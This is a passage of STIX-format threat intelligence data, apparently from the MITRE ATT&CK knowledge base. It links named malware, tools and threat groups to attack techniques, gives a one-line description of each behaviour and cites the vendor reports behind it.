"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3a31a022-8bb1-4102-9c9a-7289febdcc5c", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Proton](https://attack.mitre.org/software/S0279) removes all files in the /tmp directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1f8760c6-f11c-43f7-acf8-bc30a347518c", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.716Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to obtain a victim's system name and operating system version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--49af09c8-1460-485d-9f09-dacea47fa016", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[RTM](https://attack.mitre.org/software/S0148) monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a83182d2-b619-4ca4-984b-21ecfe43da26", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--048df7c4-96b0-4b76-9e21-f9ad70a2ce9b", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.129Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[SslMM](https://attack.mitre.org/software/S0058) identifies and kills anti-malware processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--babaa2be-7c41-490a-bd0b-2cf140858244", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.499Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about installed anti-virus software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.599Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches for files named logins.json to parse for credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0e5b4489-d480-4f42-aadb-0eeb45ad6bc0", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Regin](https://attack.mitre.org/software/S0019) stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[at](https://attack.mitre.org/software/S0110) can be used to schedule a task on a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d4d35e55-6a09-47ef-8de5-160468276025", + "source_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). At. Retrieved April 28, 2016.", + "source_name": "TechNet At", + "url": "https://technet.microsoft.com/en-us/library/bb490866.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) obfuscates internal strings and unpacks them at startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Uroburos](https://attack.mitre.org/software/S0022) uses a custom packer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb", + "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "source_name": "Symantec Waterbug", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--313082d2-c493-4053-80c1-06300aeea8e0", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used compromised credentials for the victim's endpoint management platform, Altiris, to move laterally.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--c6358f18-fc64-46f5-8939-66e5258dd83d", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "modified": "2019-03-25T17:01:21.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Calisto](https://attack.mitre.org/software/S0274) runs the ifconfig command to obtain the IP address from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--34cb97d2-b8ae-46e8-a8f7-caca4214820e", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Sys10](https://attack.mitre.org/software/S0060) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "modified": "2019-05-03T16:44:41.793Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s DPAPI module can harvest protected credentials stored and/or cached by browsers and other user applications by interacting with Windows cryptographic application programming interface (API) functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--028c3adf-4182-4250-9642-2ce5c448f710", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.", + "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015", + "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Reaver](https://attack.mitre.org/software/S0172) collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--edbd751e-29ad-419f-a3ff-9d210453351d", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to to delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--af883d09-3f26-4267-9081-4783447e3283", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "source_name": "FireEye Hacking Team", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) shellcode decrypts and decompresses its RC4-encrypted payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--026a63ae-dd3d-4ea6-8a32-c40c9b37b893", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover processes running on a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f", + "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "source_name": "Microsoft Tasklist", + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--216c15b0-3091-49f2-ba85-356d56265671", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.649Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Bandook](https://attack.mitre.org/software/S0234) contains keylogging capabilities", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3450fcde-caba-4595-b28b-99f18b4a4b7a", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Galperin, E., Et al.. (2016, August 4). When Governments Attack: State Sponsored Malware Attacks Against Activists, Lawyers, and Journalists. Retrieved May 23, 2018.", + "source_name": "BH Manul Aug 2016", + "url": "https://www.blackhat.com/docs/us-16/materials/us-16-Quintin-When-Governments-Attack-State-Sponsored-Malware-Attacks-Against-Activists-Lawyers-And-Journalists.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1762fe5a-0810-4179-bfb0-16d965ffe055", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "source_name": "ZScaler Hacking Team", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses variations of a simple XOR encryption routine for C&C communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--03927dc7-2ef0-43e4-ad71-94243e29bca4", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain network information, including DNS, IP, and proxies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--264e85a3-1ddc-4b68-87fc-c2b96d6ec0e9", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[PlugX](https://attack.mitre.org/software/S0013) uses Pastebin to store C2 addresses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto PlugX June 2017", + "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "description": "[iKitten](https://attack.mitre.org/software/S0278) adds an entry to the rc.common file for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fed9f1de-bd5b-4715-ae70-ad457e89a988", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses Port Numbers 80, 8080, 8000, and 443 for communication to the C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--074e7c5b-84e5-4cc1-bb8e-9b9f50eab274", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created a directory named \"out\" in the user's %AppData% folder and copied files to it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6e422de0-d8c4-41f8-acdd-d433e14e32a3", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.672Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052", + "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "modified": "2019-03-25T14:17:43.392Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + }, + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": 